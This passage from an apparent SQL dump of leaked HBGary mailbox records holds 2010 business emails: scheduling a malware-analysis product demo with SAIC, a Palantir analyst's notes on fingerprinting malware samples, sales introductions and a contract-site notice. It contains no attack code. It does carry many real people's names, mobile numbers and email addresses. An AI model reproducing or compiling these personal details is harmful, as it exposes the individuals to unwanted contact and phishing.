09/14/10\r\n14:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',934,'aaron_hbgary_com/934.html'),(11746,'2010-09-15','\"Nolan Clifford\" <nolan@informationsecuritysolutionsllc.com>','/aaron@hbgary.com/new/1297008812.M644596P14101Q6602.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"David C. McGuffey\" <DAVID.C.MCGUFFEY@saic.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"David C. McGuffey\" <DAVID.C.MCGUFFEY@saic.com>,\"Rich Cummings\" <rich@hbgary.com>','Re: Social Media, Exploitation, and Persistent Internet Operations','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\nNo worries Bob, we can reschedule. This is a super busy week for us on the program anyway.Thanks,Nolan703-945-7480      Sent via BlackBerry by AT&TFrom:  \"Bob Slapnik\" &lt;bob@hbgary.com&gt;\r\nDate: Wed, 15 Sep 2010 00:03:21 -0400To: &lt;nolan@informationsecuritysolutionsllc.com&gt;; \'McGuffey, David C.\'&lt;DAVID.C.MCGUFFEY@saic.com&gt;; \'Rich Cummings\'&lt;rich@hbgary.com&gt;Cc: \'Blake Darche\'&lt;blake.darche@informationsecuritysolutionsllc.com&gt;; \'Ted Vera\'&lt;ted@hbgary.com&gt;; \'Aaron Barr\'&lt;aaron@hbgary.com&gt;Subject: RE: Social Media, Exploitation, and Persistent Internet Operations\r\n\r\n\r\n\r\nNolan,\r\n\r\n&nbsp;\r\n\r\nThanks for the reminder.&nbsp; I&#8217;ve been immersed in proposal\r\nwriting since Sunday morning and my mind has been preoccupied.&nbsp; I had\r\nlined up Ted Vera to do the demo via webex because I wanted him to show you the\r\nnew Threat Management Center.&nbsp; As of last Wednesday they were still\r\ntweaking TMC and weren&#8217;t sure if they would have it ready by this\r\nWednesday.&nbsp; If you need to see TMC then we may want to reschedule.&nbsp;\r\nIf all you want to see is Active Defense, Digital DNA and Responder, then I can\r\nask Rich or Ted to do the demo.&nbsp; Let&#8217;s touch base Wednesday morning\r\nto see if we are still on.&nbsp; My apology for being distracted.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary,\r\nInc.\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp; bob@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Nolan Clifford\r\n[mailto:nolan@informationsecuritysolutionsllc.com] \r\nSent: Tuesday, September 14, 2010 10:37 PM\r\nTo: \'Bob Slapnik\'; \'McGuffey, David C.\'; \'Rich Cummings\'\r\nCc: \'Blake Darche\'\r\nSubject: RE: Social Media, Exploitation, and Persistent Internet\r\nOperations\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAre we still on for tomorrow at 10 or should we reschedule?\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\nNolan\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNolan Clifford, CISSP, CFCP\r\n\r\nCEO, Information Security Solutions\r\n\r\nwww.informationsecuritysolutionsllc.com\r\n\r\n703-945-7480 &#8211;Blackberry\r\n\r\n703-869-7396 &#8211; Mobile\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Nolan Clifford\r\n[mailto:nolan@informationsecuritysolutionsllc.com] \r\nSent: Tuesday, September 07, 2010 4:01 PM\r\nTo: \'Bob Slapnik\'; \'McGuffey, David C.\'; \'Rich Cummings\'\r\nCc: \'Blake Darche\'\r\nSubject: RE: Social Media, Exploitation, and Persistent Internet\r\nOperations\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nBob,\r\n\r\n&nbsp;\r\n\r\nWe would do the demo here in the same room most likely. That\r\ndate and time works fine for me, thanks.\r\n\r\n&nbsp;\r\n\r\nBest,\r\n\r\nNolan\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNolan Clifford, CISSP, CFCP\r\n\r\nCEO, Information Security Solutions\r\n\r\nwww.informationsecuritysolutionsllc.com\r\n\r\n703-945-7480 &#8211;Blackberry\r\n\r\n703-869-7396 &#8211; Mobile\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Tuesday, September 07, 2010 2:01 PM\r\nTo: \'McGuffey, David C.\'; nolan@informationsecuritysolutionsllc.com;\r\n\'Rich Cummings\'\r\nCc: \'Blake Darche\'\r\nSubject: RE: Social Media, Exploitation, and Persistent Internet\r\nOperations\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nNolan and David,\r\n\r\n&nbsp;\r\n\r\nHow about 10 am on Wed 9/15? &nbsp;&nbsp;Would we meet at the\r\nSAIC office or onsite at Fort Meade?&nbsp; Odds are pretty good that we will be\r\nable to include a demo of the Threat Management Center which is the ability to\r\nautomatically analyze large numbers of binaries.&nbsp; If we demo TMC it would\r\nneed to be via webex as our guys working on TMC are in Colorado.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary,\r\nInc.\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp;\r\nbob@hbgary.com\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: McGuffey, David C.\r\n[mailto:DAVID.C.MCGUFFEY@saic.com] \r\nSent: Tuesday, September 07, 2010 8:22 AM\r\nTo: nolan@informationsecuritysolutionsllc.com; Bob Slapnik; Rich\r\nCummings\r\nCc: McGuffey, David C.; Blake Darche\r\nSubject: RE: Social Media, Exploitation, and Persistent Internet\r\nOperations\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nSame here.&nbsp; I&#8217;m off Friday to take 50 of our church\r\nyouth (and 10 adults) on a beach camping trip to Assateague Is. this coming\r\nweekend.&nbsp; May take Monday to recover. I have a commitment on Wed the 15th,\r\nso Tue, Thu, Fri would be best.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nDave McGuffey\r\n\r\nPrincipal Information Assurance Engineer // NSA-IAM, NSA-IEM\r\n\r\nScience Applications International Corp., Columbia, MD\r\n\r\n410-872-4051 (w)\r\n\r\n443.597.6402 (mobile)\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Nolan Clifford\r\n[mailto:nolan@informationsecuritysolutionsllc.com] \r\nSent: Monday, September 06, 2010 19:23\r\nTo: \'Bob Slapnik\'; McGuffey, David C.; \'Blake Darche\'; \'Rich Cummings\'\r\nSubject: RE: Social Media, Exploitation, and Persistent Internet\r\nOperations\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nWeek of 9/13 is much better for me&#8230;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNolan Clifford, CISSP, CFCP\r\n\r\nCEO, Information Security Solutions\r\n\r\nwww.informationsecuritysolutionsllc.com\r\n\r\n703-945-7480 &#8211;Blackberry\r\n\r\n703-869-7396 &#8211; Mobile\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Thursday, September 02, 2010 11:16 PM\r\nTo: nolan@informationsecuritysolutionsllc.com; \'McGuffey, David C.\';\r\n\'Blake Darche\'; \'Rich Cummings\'\r\nSubject: RE: Social Media, Exploitation, and Persistent Internet\r\nOperations\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nNolan,\r\n\r\n&nbsp;\r\n\r\nSorry, can&#8217;t do 9/9.&nbsp; Here are some days/times that\r\nwork&#8230;&#8230;.\r\n\r\n9/7, 10 am or later\r\n\r\n9/10\r\n\r\nWeek of 9/13 is open\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary,\r\nInc.\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp;\r\nbob@hbgary.com\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Nolan Clifford\r\n[mailto:nolan@informationsecuritysolutionsllc.com] \r\nSent: Thursday, September 02, 2010 9:26 PM\r\nTo: \'Bob Slapnik\'; \'McGuffey, David C.\'; \'Blake Darche\'; \'Rich Cummings\'\r\nSubject: RE: Social Media, Exploitation, and Persistent Internet\r\nOperations\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHow does next Thursday the 9th work for everyone?\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNolan Clifford, CISSP, CFCP\r\n\r\nCEO, Information Security Solutions\r\n\r\nwww.informationsecuritysolutionsllc.com\r\n\r\n703-945-7480 &#8211;Blackberry\r\n\r\n703-869-7396 &#8211; Mobile\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Thursday, September 02, 2010 3:34 PM\r\nTo: nolan@informationsecuritysolutionsllc.com; \'McGuffey, David C.\';\r\n\'Blake Darche\'; \'Rich Cummings\'\r\nSubject: RE: Social Media, Exploitation, and Persistent Internet\r\nOperations\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nNolan, David, and Blake,\r\n\r\n&nbsp;\r\n\r\nWe welcome the opportunity to deploy our software in Government\r\nspaces.&nbsp; Prior to deploying we would like to get more clear on what\r\ncapabilities they need and which of our software products best fit the\r\nneeds.&nbsp; What is the best next step?&nbsp; Would it be to meet with you and\r\nyour Gov&#8217;t customer to match up needs and capabilities?\r\n\r\n&nbsp;\r\n\r\nThe schedules for Rich and myself are remarkably open over the\r\nnext few weeks.&nbsp; Please suggest a couple of days/times that work for you\r\nto get together.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob Slapnik&nbsp; | &nbsp;Vice President&nbsp; |&nbsp; HBGary,\r\nInc.\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp;\r\nbob@hbgary.com\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Nolan Clifford\r\n[mailto:nolan@informationsecuritysolutionsllc.com] \r\nSent: Thursday, September 02, 2010 2:14 PM\r\nTo: \'McGuffey, David C.\'; \'Blake Darche\'; Rich Cummings; Bob Slapnik\r\nSubject: RE: Social Media, Exploitation, and Persistent Internet\r\nOperations\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nGreat idea Dave.\r\n\r\n&nbsp;\r\n\r\nRich and Bob &#8211; Any thoughts on this concept?\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\nNolan\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNolan Clifford, CISSP, CFCP\r\n\r\nCEO, Information Security Solutions\r\n\r\nwww.informationsecuritysolutionsllc.com\r\n\r\n703-945-7480 &#8211;Blackberry\r\n\r\n703-869-7396 &#8211; Mobile\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: McGuffey, David C.\r\n[mailto:DAVID.C.MCGUFFEY@saic.com] \r\nSent: Thursday, September 02, 2010 11:17 AM\r\nTo: nolan@informationsecuritysolutionsllc.com; Blake Darche\r\nCc: McGuffey, David C.\r\nSubject: RE: Social Media, Exploitation, and Persistent Internet\r\nOperations\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nNolan,\r\n\r\n&nbsp;\r\n\r\nHow do we get a demo copy of the HBGary stuff for Blake to test\r\nover at Gov&#8217;t spaces?\r\n\r\n&nbsp;\r\n\r\nOnce we get a lab here, we should be testing out their stuff\r\nhere&#8230;but in the meantime, Blake should get a shot at it over there.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nDave McGuffey\r\n\r\nPrincipal Information Assurance Engineer // NSA-IAM, NSA-IEM\r\n\r\nScience Applications International Corp., Columbia, MD\r\n\r\n410-872-4051 (w)\r\n\r\n443.597.6402 (mobile)\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Nolan Clifford\r\n[mailto:nolan@informationsecuritysolutionsllc.com] \r\nSent: Wednesday, September 01, 2010 17:10\r\nTo: McGuffey, David C.; Blake Darche\r\nSubject: FW: Social Media, Exploitation, and Persistent Internet\r\nOperations\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nFYI\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNolan Clifford, CISSP, CFCP\r\n\r\nCEO, Information Security Solutions\r\n\r\nwww.informationsecuritysolutionsllc.com\r\n\r\n703-945-7480 &#8211;Blackberry\r\n\r\n703-869-7396 &#8211; Mobile\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, September 01, 2010 2:32 PM\r\nSubject: Social Media, Exploitation, and Persistent Internet Operations\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThe rise of the social web has created an entirely new set\r\nof useful technologies and security vulnerabilities. &nbsp;It is our experience\r\nthat most individuals and organizations understand there are risks to using\r\nsocial media but don\'t understand the full extent, from what types of use, what\r\nthe real risks are, or how the vulnerabilities can be fully exploited, and how\r\nto effectively protect themselves.\r\n\r\n\r\n\r\n\r\nHBGary Federal has extensive experience in social media technologies, how to\r\nuse these tools effectively, what the risks are to information exposure and\r\nexploitation, and how to more effectively protect yourself and your\r\norganization. &nbsp;We feel this is an area that needs more attention and\r\nunderstanding quickly as the commercial social media platforms provide to much\r\neasy opportunities for threats.\r\n\r\nAttached is our training brochure for our online and in-class social media\r\ntraining programs, 1/2 and full day. &nbsp;We also offer a tailored training\r\nprogram that is preceded by a social media penetration test. &nbsp;The information\r\ngathered during the pen test is provided in a before and after information\r\nexposure report as well as the information is used to tailor the training\r\nprogram to make it as relevant as possible to the organization.\r\n\r\nVisit our training web page to review and sign up for one of our online\r\ntraining classes or send an email to schedule in-class room training. &nbsp;You\r\ncan also follow us on twitter to receive regular updates &nbsp;or become a fan\r\nof our Facebook page.\r\n\r\nWeb:&nbsp;training.hbgaryfederal.com\r\nTwitter: HBGaryFed\r\nFacebook: HBGary Federal\r\nEmail:&nbsp;training@hbgaryfederal.com\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.851 / Virus Database: 271.1.1/3108 - Release Date: 09/02/10\r\n02:34:00\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.851 / Virus Database: 271.1.1/3110 - Release Date: 09/02/10\r\n14:50:00\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.851 / Virus Database: 271.1.1/3112 - Release Date: 09/06/10\r\n14:34:00\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.851 / Virus Database: 271.1.1/3135 - Release Date: 09/14/10\r\n14:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1885,'aaron_hbgary_com/1885.html'),(11747,'2010-09-15','\"Aaron Zollman\" <azollman@palantir.com>','/aaron@hbgary.com/new/1297008812.M7628P14101Q6600.eml','\"Ted Vera\" <ted@hbgary.com>,aaron@hbgary.com,mark@hbgary.com,\"Ted Vera\" <ted@hbgary.com>','TMC discussions / malware presentation at Palantir GovCon','\r\n	Thanks guys.\r\n\r\n	For my first pass, I worked with the 100mb file that Aaron B provided -- it has 9,000 samples with an average of 20 fingerprints per sample. I mostly played around with it in object explorer -- in screenshots 36-38 you can see me comparing the buffer security checks property in the pre-2006 and post-2006 timeframes; in 39 you can see drilling down on the newer malware objects with buffer security checks, and in 40 you can see a snapshot of a single record.\r\n\r\n	Not exactly thrilling analysis yet, but I think it\'s enough to get started. What\'d be nice is additional test data from TMC which gave us some control systems (ip addresses, domains and/or URLs).. and if we can find a particular cluster and link in some code pulled from code.google.com right in Palantir, I think it\'d look pretty good.\r\n\r\n	If we can get a bit of human data ingested, too, we can basically reuse the abstract from RSA -- I may be stretching here, guys, so tell me if I\'m being too aggressive:\r\n\r\n\"\r\n	Attackers leave clues to their identity in the tools that they create. Drawing on its vast experience analyzing malware, HBGary has brought together binary disassembly, live traces, and human-centric data sets within the Palantir platform. In this breakout session, HBGary and Palantir will show how Palantir can identify trends in malware production over time and drill into interesting clusters leading toward attribution to malware authors or crime rings; and discuss the technical challenges in processing large volumes of malware and modeling the data within Palantir. \r\n\"\r\n\r\n	Hope this is a good start. Over the next few days I\'ll try and get a server set up somewhere so that y\'all can dig into the data as well.\r\n\r\n\r\n_________________________________________________________\r\nAaron Zollman\r\nPalantir Technologies | Embedded Analyst\r\nazollman@palantir.com | 202-684-8066\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Friday, September 10, 2010 5:58 PM\r\nTo: Aaron Zollman; aaron@hbgary.com; mark@hbgary.com\r\nSubject: Re: GoToMeeting Invitation - TMC Discussions\r\n\r\nHere are the output files (attached).\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\nOn Wed, Sep 8, 2010 at 11:59 AM, Ted Vera  wrote:\r\n> 1.  Please join my meeting, Wednesday, September 08 at 12:15 PM MDT.\r\n> https://www1.gotomeeting.com/join/397597081\r\n>\r\n> 2.  Use your microphone and speakers (VoIP) - a headset is \r\n> recommended. Or, call in using your telephone.\r\n>\r\n> Dial 914-339-0016\r\n> Access Code: 397-597-081\r\n> Audio PIN: Shown after joining the meeting\r\n>\r\n> Meeting ID: 397-597-081\r\n>\r\n> GoToMeeting®\r\n> Online Meetings Made EasyT\r\n>\r\n\r\n\r\n\r\n--\r\nTed Vera  |  President  |  HBGary Federal Office 916-459-4727x118  | Mobile 719-237-8623 www.hbgary.com  |  ted@hbgary.com\r\n',248,'aaron_hbgary_com/248.html'),(11748,'2010-09-15','\"Carma Beedle\" <carma@hbgary.com>','/aaron@hbgary.com/new/1297008812.M863048P14101Q6603.eml','\"Aaron Barr\" <aaron@hbgary.com>','Fwd: Hello from the West Coast and Introduction to HB Gary','Peter Hu from DoD.  This was the email.  I&#39;ll reach out to him again as well.\r\n-c\r\n---------- Forwarded message ----------From: Carma Beedle &lt;carma@hbgary.com&gt;Date: Tue, Aug 10, 2010 at 11:28 AM\r\nSubject: Hello from the West Coast and Introduction to HB GaryTo: Peternjusa@gmail.com, Aaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\n\r\nHi Peter,\r\n \r\nHope you are well!  I just took a new job which I’m very excited about.  I am not sure if you know who we are but I think you might be interested in learning more if you aren’t.  HB Gary is the company.  Our focus is on advanced and zero day malware detection and prevention.  I know we are pretty connected with the Air Force, but I am not sure about the Navy-which I think you said was your division of DoD.    \r\n\r\n \r\nI wanted to introduce you to Aaron Barr, the President of our Federal business.  Peter meet Aaron, Aaron meet Peter.  I think it would be awesome if you two spoke.  J\r\n\r\n \r\nPeter you asked me a few months ago how my last company could help in protecting PII, but we couldn’t.  I think HB Gary can at least spark a conversation around new ways to think about protecting the data.  \r\n\r\n \r\nAnyway, let me know if I can help and Peter if you come out this way, please let me know.  I’d love to catch up in person.\r\n \r\nThanks!\r\n \r\nBest Regards,\r\n \r\nCarma Beedle\r\nDir of Regional Sales\r\nHB Gary\r\n415 517 0663\r\n \r\n',7311,'aaron_hbgary_com/7311.html'),(11749,'2010-09-15','\"Sullivan, Mary\" <mary.sullivan@fidelissecurity.com>','/aaron@hbgary.com/new/1297008813.M295356P14101Q6605.eml','\"Aaron Barr\" <aaron@hbgary.com>','Fwd: Accepted: RE: introduction to Fidelis XPS','FYI. In case you have a spot. I can forward you her profile.&nbsp;Sent from my mobile--excuse typos or brevityBegin forwarded message:From: \"A Marlow (Linkedin Requests)\" &lt;requests-noreply@linkedin.com&gt;Date: September 14, 2010 8:34:15 PM EDTTo: Mary Sullivan &lt;mary.sullivan@fidelissecurity.com&gt;Subject: Accepted: RE: introduction to Fidelis XPS\r\n\r\n\r\n  \r\n\r\n  \r\n  LinkedIn\r\n\r\n\r\nINMAIL: ACCEPTED\r\n\r\n\r\nA Marlow has accepted your request.\r\n      Email: ann@sybr4n6.com\r\n\r\nTitle: introduction to Fidelis XPS\r\n\r\n\r\n  Thanks Mary\r\n\r\nI havent heard about your appliance - so I appreciate your approach... clever!\r\n\r\nI\'m just beginning a new job search and am interested in a new digital forensic investigation adventure.  If you know of anyone that is looking for someone like me, let me know.\r\n\r\nIf my next opportuity involves infrastructure security, I\'ll be sure to let them know about your product.\r\n\r\n\r\n\r\nThanks!\r\n\r\n\r\n\r\nAnn\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn 9/14/10 5:20 AM, Mary Sullivan wrote:\r\n\r\n--------------------\r\n\r\nI noticed today that you connected with Nolan, for whom I have immense respect. In reading your profile, I wanted to take a moment to make you aware of Fidelis XPS\' capabilities. Not to sell it to you, but in a more missionary way....working to get the word about its capabilities to people with your forensic expertise.\r\n\r\n\r\n\r\nFidelis XPS is a high-throughput sniffer appliance that reassembles sessions in memory (layers 3-7 with content) and alerts on violating sessions against a specific rule set. It offers the automation of an IDS but the session and content awareness of packet capture. Rules are set on any combination of source/dest, session attributes, or content. Therefore, it\'s a great IG tool of course (for watching specific users or finding specific words/phrases) but it can also find other types of info, like binary expressions in any document, renamed exes, attempts to subvert known controls. etc. It provides single-click access to payload and session data that speeds forensic analysis.\r\n\r\n\r\n\r\nWe actually already have several dozen appliances watching outbound traffic at DHS, but I feel we\'re something of a well-kept secret. If I can provide more information, please let me know.\r\n\r\n\r\n\r\nI hope you don\'t mind me contacting you --as I said, I couldn\'t resist the chance to introduce you to Fidelis given your expertise.\r\n\r\n\r\n\r\nThanks\r\n\r\nMary Sullivan\r\n\r\n\r\n    View this message\r\n    Don\'t want to receive e-mail notifications? Adjust your message settings.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  © 2010, LinkedIn Corporation\r\n\r\n',11811,'aaron_hbgary_com/11811.html'),(11750,'2010-09-15','arc@westfields.net','/aaron@hbgary.com/new/1297008813.M513314P14101Q6606.eml','federal@hbgary.com','ARC Daily Activity Summary','\r\nThis is a daily email notice containing a summary of the active efforts that have had some activity since Tuesday, 09/14/2010 08:00 AM. Activity is described as one or more documents and/or an announcement being posted to the effort website.\r\n\r\n\r\nNo Activity on Unclassified ARC Efforts Within Defined Timeframe\r\n\r\n\r\n\r\nCWAN ARC Efforts\r\n\r\nNGA-RDAS (Announcement & Document Posting)\r\n\r\nNRO/COMM-Excursion (Announcement & Document Posting)\r\n\r\nNRO/COMM-Expedition (Announcement & Document Posting)\r\n\r\nNRO/COMM-Roubaix (Announcement & Document Posting)\r\n\r\n\r\n\r\nUnclassified efforts can be viewed on the Internet ARC at https://arc.westfields.net/ Classified efforts can be viewed on the CWAN ARC at http://arc.npa.gov/\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; 